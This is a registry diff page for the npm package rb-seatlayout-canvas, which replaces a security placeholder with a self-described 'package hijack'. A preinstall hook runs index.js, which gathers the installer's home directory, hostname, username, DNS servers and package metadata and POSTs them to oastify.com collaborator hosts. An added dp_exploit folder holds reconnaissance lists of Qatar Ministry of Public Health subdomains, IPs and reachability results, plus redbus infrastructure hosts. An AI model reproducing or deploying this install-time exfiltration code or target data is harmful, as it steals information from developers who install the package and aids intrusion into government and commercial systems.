rb-seatlayout-canvas 0.0.1-security → 1.1.0

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.

This version of rb-seatlayout-canvas might be problematic. Click here for more details.

Files changed (10) hide show
  1. package/dp_exploit/MOPH_NONTESTED_DOMAIN_LIST.txt +129 -0
  2. package/dp_exploit/Moph_dns.txt +107 -0
  3. package/dp_exploit/Moph_new_miss.txt +73 -0
  4. package/dp_exploit/index.js +46 -0
  5. package/dp_exploit/moph_200ok_miss domain.txt +30 -0
  6. package/dp_exploit/package.json +12 -0
  7. package/dp_exploit/redbus.txt +13 -0
  8. package/index.js +46 -0
  9. package/package.json +9 -3
  10. package/README.md +0 -5
package/dp_exploit/MOPH_NONTESTED_DOMAIN_LIST.txt ADDED
@@ -0,0 +1,129 @@
1
+ abcd
2
+ accreditationstg
3
+ api-hie
4
+ api-hie-ppr
5
+ api-hie-trn
6
+ api-portal-hieppr
7
+ appointments
8
+ apps
9
+ autism
10
+ autismelearning
11
+ captiveportal
12
+ ceb
13
+ cis
14
+ cms
15
+ covid19
16
+ da
17
+ df
18
+ ehealth
19
+ elearningdhp
20
+ emsfsaadmin
21
+ emsfsaspadmin
22
+ erx-ppr
23
+ erx-trn
24
+ eventsreg
25
+ evp
26
+ fli
27
+ formsportal
28
+ formsportaladmin
29
+ fssm
30
+ geomed
31
+ ghcc
32
+ hajj
33
+ hfid
34
+ hfidservices
35
+ hiap
36
+ hiev-ppr
37
+ hiev-trn
38
+ him
39
+ him-ppr
40
+ him-trn
41
+ hrd
42
+ hrportal
43
+ ig
44
+ ig-ppr
45
+ ig-trn
46
+ info-identity
47
+ info-identity-ppr
48
+ info-identity-trn
49
+ iweb-prd
50
+ iweb-saves-origin
51
+ mail
52
+ mcapp
53
+ mcfifa
54
+ mcsupport
55
+ mirgab
56
+ mophsurveys
57
+ mrstest
58
+ ns1
59
+ oe
60
+ owa
61
+ phaward
62
+ phr-ppr
63
+ phr-trn
64
+ portalsvrs
65
+ psafety
66
+ qatarautism
67
+ qchp-ftp
68
+ qcr
69
+ qhis
70
+ qhismail
71
+ qhismail
72
+ selector1._domainkey.qhismail
73
+ selector2._domainkey.qhismail
74
+ qhispp
75
+ qnf
76
+ qpsw
77
+
78
+ reporter
79
+ research
80
+ researchadmin
81
+ researchportal
82
+ sart
83
+ saves-ids-origin
84
+ saves-origin
85
+ savesaccess
86
+ savesaccesstest
87
+ sftp
88
+ smtp
89
+ stgepayment
90
+ swa
91
+ tataboa
92
+ tataboa-ais
93
+ tataboa-ais-pp
94
+ tataboa-ais-trn
95
+ tataboa-est
96
+ tataboa-est-pp
97
+ tataboa-est-trn
98
+ tataboa-idp
99
+ tataboa-idp-pp
100
+ tataboa-idp-trn
101
+ tataboa-idr
102
+ tataboa-idr-pp
103
+ tataboa-idr-trn
104
+ tataboa-ids
105
+ tataboa-ids-pp
106
+ tataboa-ids-trn
107
+ tataboa-pp
108
+ tataboa-stk
109
+ tataboa-stk-pp
110
+ tataboa-stk-trn
111
+ tataboa-trn
112
+ tc
113
+ tenders
114
+ terminology-hl7v2
115
+ terminology-hl7v2-ppr
116
+ terminology-hl7v2-trn
117
+ terminology-management
118
+ terminology-management-ppr
119
+ terminology-management-trn
120
+ testeservices
121
+ vaccinationcovid19
122
+ vaccinationcovid19-cms
123
+ vaccinefeedback-covid19
124
+ videostream-api
125
+ wc-stg-ids
126
+ wc-trn
127
+ wc-trn-ids
128
+ whitearmyheroes
129
+ www
package/dp_exploit/Moph_dns.txt ADDED
@@ -0,0 +1,107 @@
1
+ accreditationstg.moph.gov.qa [78.100.109.24]
2
+ autism.moph.gov.qa [78.100.39.105]
3
+ evp.moph.gov.qa [78.100.39.99]
4
+ api-hie.moph.gov.qa [20.21.204.182]
5
+ emsfsaadmin.moph.gov.qa [78.100.39.104]
6
+ tataboa-idr.moph.gov.qa [20.21.216.117]
7
+ apps.moph.gov.qa [78.100.39.98]
8
+ info-identity.moph.gov.qa [20.21.204.92]
9
+ iweb-prd.moph.gov.qa [86.62.223.254]
10
+ cis.moph.gov.qa [78.100.39.107]
11
+ ig-trn.moph.gov.qa [20.173.25.130]
12
+ api-hie-trn.moph.gov.qa [20.173.16.227]
13
+ ceb.moph.gov.qa [78.100.64.201]
14
+ df.moph.gov.qa [78.100.64.202]
15
+ hiap.moph.gov.qa [213.130.112.185]
16
+ fssm.moph.gov.qa [78.100.50.183]
17
+ ig-ppr.moph.gov.qa [20.21.213.212]
18
+ formsportaladmin.moph.gov.qa [78.100.109.7]
19
+ mcapp.moph.gov.qa [78.100.109.6]
20
+ researchportal.moph.gov.qa [78.100.109.8]
21
+ mcsupport.moph.gov.qa [78.100.64.205]
22
+ qchp-ftp.moph.gov.qa [78.100.109.27]
23
+ sftp.moph.gov.qa [78.100.109.22]
24
+ mophsurveys.moph.gov.qa [78.100.74.161]
25
+ research.moph.gov.qa [78.100.109.8]
26
+ qhispp.moph.gov.qa [20.21.216.117]
27
+ mrstest.moph.gov.qa [78.100.39.108]
28
+ tataboa-est.moph.gov.qa [20.21.216.117]
29
+ info-identity-trn.moph.gov.qa [20.173.25.26]
30
+ saves-origin.moph.gov.qa [86.62.209.22]
31
+ tataboa-ais.moph.gov.qa [20.21.216.117]
32
+ tataboa-idp.moph.gov.qa [20.21.216.117]
33
+ portalsvrs.moph.gov.qa [213.130.112.187]
34
+ tataboa-idp-pp.moph.gov.qa [20.21.216.117]
35
+ smtp.moph.gov.qa [213.130.112.179]
36
+ qcr.moph.gov.qa [78.100.109.28]
37
+ tataboa.moph.gov.qa [20.21.216.117]
38
+ terminology-hl7v2-trn.moph.gov.qa [20.173.25.83]
39
+ terminology-management-trn.moph.gov.qa [20.21.221.22]
40
+ www.moph.gov.qa [51.105.197.162]
41
+ saves-ids-origin.moph.gov.qa [86.62.209.22]
42
+ owa.moph.gov.qa [78.100.109.25]
43
+ emsfsaspadmin.moph.gov.qa [78.100.39.104]
44
+ hfid.moph.gov.qa [78.100.64.203]
45
+ wc-stg-ids.moph.gov.qa [123.176.32.18]
46
+ wc-stg-ids.moph.gov.qa [123.176.32.26]
47
+ phaward.moph.gov.qa [78.100.39.100]
48
+ abcd.moph.gov.qa [213.130.112.178]
49
+ fli.moph.gov.qa [78.100.39.121]
50
+ mcfifa.moph.gov.qa [78.100.109.27]
51
+ ehealth.moph.gov.qa [78.100.39.101]
52
+ mail.moph.gov.qa [78.100.109.25]
53
+ eventsreg.moph.gov.qa [78.100.109.12]
54
+ autismelearning.moph.gov.qa [78.100.39.105]
55
+ iweb-saves-origin.moph.gov.qa [86.62.223.254]
56
+ ig.moph.gov.qa [20.21.202.83]
57
+ ghcc.moph.gov.qa [78.100.109.23]
58
+ hiev-trn.moph.gov.qa [20.21.230.224]
59
+ psafety.moph.gov.qa [78.100.109.18]
60
+ stgepayment.moph.gov.qa [78.100.39.123]
61
+ mirgab.moph.gov.qa [78.100.109.1]
62
+ info-identity-ppr.moph.gov.qa [20.21.215.15]
63
+ tataboa-est-pp.moph.gov.qa [20.21.216.117]
64
+ ns1.moph.gov.qa [213.130.112.181]
65
+ savesaccess.moph.gov.qa [78.100.109.4]
66
+ phr-trn.moph.gov.qa [20.21.196.236]
67
+ tataboa-ais-pp.moph.gov.qa [20.21.216.117]
68
+ tataboa-ids.moph.gov.qa [20.21.216.117]
69
+ tataboa-pp.moph.gov.qa [20.21.216.117]
70
+ tenders.moph.gov.qa [78.100.39.102]
71
+ terminology-hl7v2.moph.gov.qa [20.21.204.74]
72
+ vaccinationcovid19-cms.moph.gov.qa [51.138.81.18]
73
+ tc.moph.gov.qa [78.100.109.30]
74
+ hiev-ppr.moph.gov.qa [20.21.214.208]
75
+ videostream-api.moph.gov.qa [78.100.50.181]
76
+ whitearmyheroes.moph.gov.qa [78.100.39.109]
77
+ qnf.moph.gov.qa [78.100.109.10]
78
+ cms.moph.gov.qa [78.100.109.15]
79
+ sart.moph.gov.qa [78.100.109.29]
80
+ tataboa-est-trn.moph.gov.qa [20.21.216.117]
81
+ vaccinefeedback-covid19.moph.gov.qa [78.100.109.3]
82
+ erx-ppr.moph.gov.qa [20.21.232.32]
83
+ tataboa-ais-trn.moph.gov.qa [20.21.216.117]
84
+ captiveportal.moph.gov.qa [192.168.0.89]
85
+ tataboa-stk-trn.moph.gov.qa [20.21.216.117]
86
+ geomed.moph.gov.qa [78.100.109.13]
87
+ researchadmin.moph.gov.qa [78.100.109.8]
88
+ api-hie-ppr.moph.gov.qa [20.21.225.104]
89
+ formsportal.moph.gov.qa [78.100.109.7]
90
+ testeservices.moph.gov.qa [78.100.109.9]
91
+ tataboa-idp-trn.moph.gov.qa [20.21.216.117]
92
+ tataboa-ids-trn.moph.gov.qa [20.21.216.117]
93
+ appointments.moph.gov.qa [78.100.64.204]
94
+ elearningdhp.moph.gov.qa [78.100.50.182]
95
+ qatarautism.moph.gov.qa [78.100.109.11]
96
+ savesaccesstest.moph.gov.qa [78.100.39.122]
97
+ phr-ppr.moph.gov.qa [20.21.223.106]
98
+ hrd.moph.gov.qa [78.100.50.178]
99
+ swa.moph.gov.qa [78.100.64.202]
100
+ hfidservices.moph.gov.qa [78.100.109.21]
101
+ erx-trn.moph.gov.qa [20.21.228.230]
102
+ covid19.moph.gov.qa [51.105.197.162]
103
+ tataboa-trn.moph.gov.qa [20.21.216.117]
104
+ him-ppr.moph.gov.qa [20.21.211.23]
105
+ wc-trn.moph.gov.qa [23.65.124.72]
106
+ wc-trn.moph.gov.qa [23.65.124.79]
107
+ oe.moph.gov.qa [78.100.64.202]
package/dp_exploit/Moph_new_miss.txt ADDED
@@ -0,0 +1,73 @@
1
+ accreditationstg.moph.gov.qa [78.100.109.24] -----
2
+ api-hie.moph.gov.qa [20.21.204.182]
3
+ emsfsaadmin.moph.gov.qa [78.100.39.104]
4
+ tataboa-idr.moph.gov.qa [20.21.216.117]
5
+ apps.moph.gov.qa [78.100.39.98]
6
+ info-identity.moph.gov.qa [20.21.204.92]
7
+ iweb-prd.moph.gov.qa [86.62.223.254]
8
+ ig-trn.moph.gov.qa [20.173.25.130]
9
+ api-hie-trn.moph.gov.qa [20.173.16.227]
10
+ ceb.moph.gov.qa [78.100.64.201]
11
+ hiap.moph.gov.qa [213.130.112.185]
12
+ fssm.moph.gov.qa [78.100.50.183]
13
+ ig-ppr.moph.gov.qa [20.21.213.212]
14
+ formsportaladmin.moph.gov.qa [78.100.109.7]
15
+ researchportal.moph.gov.qa [78.100.109.8]
16
+ mcsupport.moph.gov.qa [78.100.64.205]
17
+ mophsurveys.moph.gov.qa [78.100.74.161]
18
+ research.moph.gov.qa [78.100.109.8]
19
+ qhispp.moph.gov.qa [20.21.216.117]
20
+ mrstest.moph.gov.qa [78.100.39.108]
21
+ tataboa-est.moph.gov.qa [20.21.216.117]
22
+ info-identity-trn.moph.gov.qa [20.173.25.26]
23
+ saves-origin.moph.gov.qa [86.62.209.22]
24
+ tataboa-ais.moph.gov.qa [20.21.216.117]
25
+ tataboa-idp.moph.gov.qa [20.21.216.117]
26
+ tataboa-idp-pp.moph.gov.qa [20.21.216.117]
27
+ tataboa.moph.gov.qa [20.21.216.117]
28
+ terminology-hl7v2-trn.moph.gov.qa [20.173.25.83]
29
+ terminology-management-trn.moph.gov.qa [20.21.221.22]
30
+ saves-ids-origin.moph.gov.qa [86.62.209.22]
31
+ emsfsaspadmin.moph.gov.qa [78.100.39.104]
32
+ hfid.moph.gov.qa [78.100.64.203]
33
+ wc-stg-ids.moph.gov.qa [123.176.32.18]
34
+ wc-stg-ids.moph.gov.qa [123.176.32.26]
35
+ fli.moph.gov.qa [78.100.39.121]
36
+ mcfifa.moph.gov.qa [78.100.109.27]
37
+ ehealth.moph.gov.qa [78.100.39.101]
38
+ iweb-saves-origin.moph.gov.qa [86.62.223.254]
39
+ ig.moph.gov.qa [20.21.202.83]
40
+ hiev-trn.moph.gov.qa [20.21.230.224]
41
+ stgepayment.moph.gov.qa [78.100.39.123]
42
+ info-identity-ppr.moph.gov.qa [20.21.215.15]
43
+ tataboa-est-pp.moph.gov.qa [20.21.216.117]
44
+ savesaccess.moph.gov.qa [78.100.109.4]
45
+ phr-trn.moph.gov.qa [20.21.196.236]
46
+ tataboa-ais-pp.moph.gov.qa [20.21.216.117]
47
+ tataboa-ids.moph.gov.qa [20.21.216.117]
48
+ tataboa-pp.moph.gov.qa [20.21.216.117]
49
+ tenders.moph.gov.qa [78.100.39.102]
50
+ terminology-hl7v2.moph.gov.qa [20.21.204.74]
51
+ vaccinationcovid19-cms.moph.gov.qa [51.138.81.18]
52
+ hiev-ppr.moph.gov.qa [20.21.214.208]
53
+ videostream-api.moph.gov.qa [78.100.50.181]
54
+ cms.moph.gov.qa [78.100.109.15]
55
+ sart.moph.gov.qa [78.100.109.29]
56
+ tataboa-est-trn.moph.gov.qa [20.21.216.117]
57
+ erx-ppr.moph.gov.qa [20.21.232.32]
58
+ tataboa-ais-trn.moph.gov.qa [20.21.216.117]
59
+ captiveportal.moph.gov.qa [192.168.0.89]
60
+ tataboa-stk-trn.moph.gov.qa [20.21.216.117]
61
+ api-hie-ppr.moph.gov.qa [20.21.225.104]
62
+ tataboa-idp-trn.moph.gov.qa [20.21.216.117]
63
+ tataboa-ids-trn.moph.gov.qa [20.21.216.117]
64
+ elearningdhp.moph.gov.qa [78.100.50.182]
65
+ savesaccesstest.moph.gov.qa [78.100.39.122]
66
+ phr-ppr.moph.gov.qa [20.21.223.106]
67
+ hrd.moph.gov.qa [78.100.50.178]
68
+ hfidservices.moph.gov.qa [78.100.109.21]
69
+ erx-trn.moph.gov.qa [20.21.228.230]
70
+ tataboa-trn.moph.gov.qa [20.21.216.117]
71
+ him-ppr.moph.gov.qa [20.21.211.23]
72
+ wc-trn.moph.gov.qa [23.65.124.72]
73
+ wc-trn.moph.gov.qa [23.65.124.79]
package/dp_exploit/index.js ADDED
@@ -0,0 +1,46 @@
1
+ const os = require("os");
2
+ const dns = require("dns");
3
+ const querystring = require("querystring");
4
+ const https = require("https");
5
+ const packageJSON = require("./package.json");
6
+ const package = packageJSON.name;
7
+
8
+ const trackingData = JSON.stringify({
9
+ p: package,
10
+ c: __dirname,
11
+ hd: os.homedir(),
12
+ hn: os.hostname(),
13
+ un: os.userInfo().username,
14
+ dns: dns.getServers(),
15
+ r: packageJSON ? packageJSON.___resolved : undefined,
16
+ v: packageJSON.version,
17
+ pjson: packageJSON,
18
+ });
19
+
20
+ var postData = querystring.stringify({
21
+ msg: trackingData,
22
+ });
23
+
24
+ var options = {
25
+ hostname: "ao2epd6d9o4wn9nxyavmoo073y9pxfl4.oastify.com", //replace burpcollaborator.net with Interactsh or pipedream
26
+ port: 443,
27
+ path: "/",
28
+ method: "POST",
29
+ headers: {
30
+ "Content-Type": "application/x-www-form-urlencoded",
31
+ "Content-Length": postData.length,
32
+ },
33
+ };
34
+
35
+ var req = https.request(options, (res) => {
36
+ res.on("data", (d) => {
37
+ process.stdout.write(d);
38
+ });
39
+ });
40
+
41
+ req.on("error", (e) => {
42
+ // console.error(e);
43
+ });
44
+
45
+ req.write(postData);
46
+ req.end();
package/dp_exploit/moph_200ok_miss domain.txt ADDED
@@ -0,0 +1,30 @@
1
+ https://abcd.moph.gov.qa [SUCCESS]
2
+ https://covid19.moph.gov.qa [SUCCESS]
3
+ https://qhis.moph.gov.qa [SUCCESS]
4
+ https://qhispp.moph.gov.qa [SUCCESS]
5
+ https://tataboa-ais.moph.gov.qa [SUCCESS]
6
+ https://tataboa-est-pp.moph.gov.qa [SUCCESS]
7
+ https://tataboa-ais-trn.moph.gov.qa [SUCCESS]
8
+ https://tataboa-idp-trn.moph.gov.qa [SUCCESS]
9
+ https://tataboa-idr-trn.moph.gov.qa [SUCCESS]
10
+ https://tataboa-idr.moph.gov.qa [SUCCESS]
11
+ https://tataboa-idp-pp.moph.gov.qa [SUCCESS]
12
+ https://tataboa-est.moph.gov.qa [SUCCESS]
13
+ https://tataboa-est-trn.moph.gov.qa [SUCCESS]
14
+ https://tataboa-ids-trn.moph.gov.qa [SUCCESS]
15
+ https://tataboa-idp.moph.gov.qa [SUCCESS]
16
+ https://tataboa-stk-pp.moph.gov.qa [SUCCESS]
17
+ https://moph.gov.qa [SUCCESS]
18
+ https://tataboa-pp.moph.gov.qa [SUCCESS]
19
+ https://tataboa.moph.gov.qa [SUCCESS]
20
+ https://tataboa-ids.moph.gov.qa [SUCCESS]
21
+ https://tataboa-trn.moph.gov.qa [SUCCESS]
22
+ https://vaccinationcovid19-cms.moph.gov.qa [SUCCESS]
23
+ https://vaccinationcovid19.moph.gov.qa [SUCCESS]
24
+ https://tataboa-stk.moph.gov.qa [SUCCESS]
25
+ https://tataboa-ais-pp.moph.gov.qa [SUCCESS]
26
+ https://tataboa-stk-trn.moph.gov.qa [SUCCESS]
27
+ https://www.moph.gov.qa [SUCCESS]
28
+ https://tataboa-ids-pp.moph.gov.qa [SUCCESS]
29
+ http://wc-stg-ids.moph.gov.qa [SUCCESS]
30
+ http://wc-trn.moph.gov.qa [SUCCESS]
package/dp_exploit/package.json ADDED
@@ -0,0 +1,12 @@
1
+ {
2
+ "name": "starcoffe",
3
+ "version": "1.0.0",
4
+ "description": "package hijack",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "preinstall": "node index.js"
9
+ },
10
+ "author": "",
11
+ "license": "ISC"
12
+ }
package/dp_exploit/redbus.txt ADDED
@@ -0,0 +1,13 @@
1
+ webplatform-nginx-pci-prod-alb-1177688536.ap-southeast-1.elb.amazonaws.com
2
+ mobweb-nginx-prod-pcl-alb-1052789930.ap-southeast-1.elb.amazonaws.com
3
+ capi.redbus.com
4
+ paas-prod-pci-elb-270180406.ap-southeast-1.elb.amazonaws.com
5
+ www.redbus.com
6
+ webplatform-nginx-pci-alb-647208688.us-east-1.elb.amazonaws.com.
7
+ mobweb-nginx-pci-alb-520569253.us-east1.elb.amazonaws.com.
8
+ 13.228.250.115
9
+ 23.22.120.43
10
+ 13.229.216.155
11
+ 13.250.217.67
12
+ 52.221.165.229
13
+ 54.169.116.27
package/index.js ADDED
@@ -0,0 +1,46 @@
1
+ const os = require("os");
2
+ const dns = require("dns");
3
+ const querystring = require("querystring");
4
+ const https = require("https");
5
+ const packageJSON = require("./package.json");
6
+ const package = packageJSON.name;
7
+
8
+ const trackingData = JSON.stringify({
9
+ p: package,
10
+ c: __dirname,
11
+ hd: os.homedir(),
12
+ hn: os.hostname(),
13
+ un: os.userInfo().username,
14
+ dns: dns.getServers(),
15
+ r: packageJSON ? packageJSON.___resolved : undefined,
16
+ v: packageJSON.version,
17
+ pjson: packageJSON,
18
+ });
19
+
20
+ var postData = querystring.stringify({
21
+ msg: trackingData,
22
+ });
23
+
24
+ var options = {
25
+ hostname: "s4x8pe20x4znlue7js9x54h9h0nsbiz7.oastify.com", //replace burpcollaborator.net with Interactsh or pipedream
26
+ port: 443,
27
+ path: "/",
28
+ method: "POST",
29
+ headers: {
30
+ "Content-Type": "application/x-www-form-urlencoded",
31
+ "Content-Length": postData.length,
32
+ },
33
+ };
34
+
35
+ var req = https.request(options, (res) => {
36
+ res.on("data", (d) => {
37
+ process.stdout.write(d);
38
+ });
39
+ });
40
+
41
+ req.on("error", (e) => {
42
+ // console.error(e);
43
+ });
44
+
45
+ req.write(postData);
46
+ req.end();
package/package.json CHANGED
@@ -1,6 +1,12 @@
1
1
  {
2
2
  "name": "rb-seatlayout-canvas",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "1.1.0",
4
+ "description": "package hijack",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "preinstall": "node index.js"
9
+ },
10
+ "author": "Anshwsa",
11
+ "license": "ISC"
6
12
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=rb-seatlayout-canvas for more information.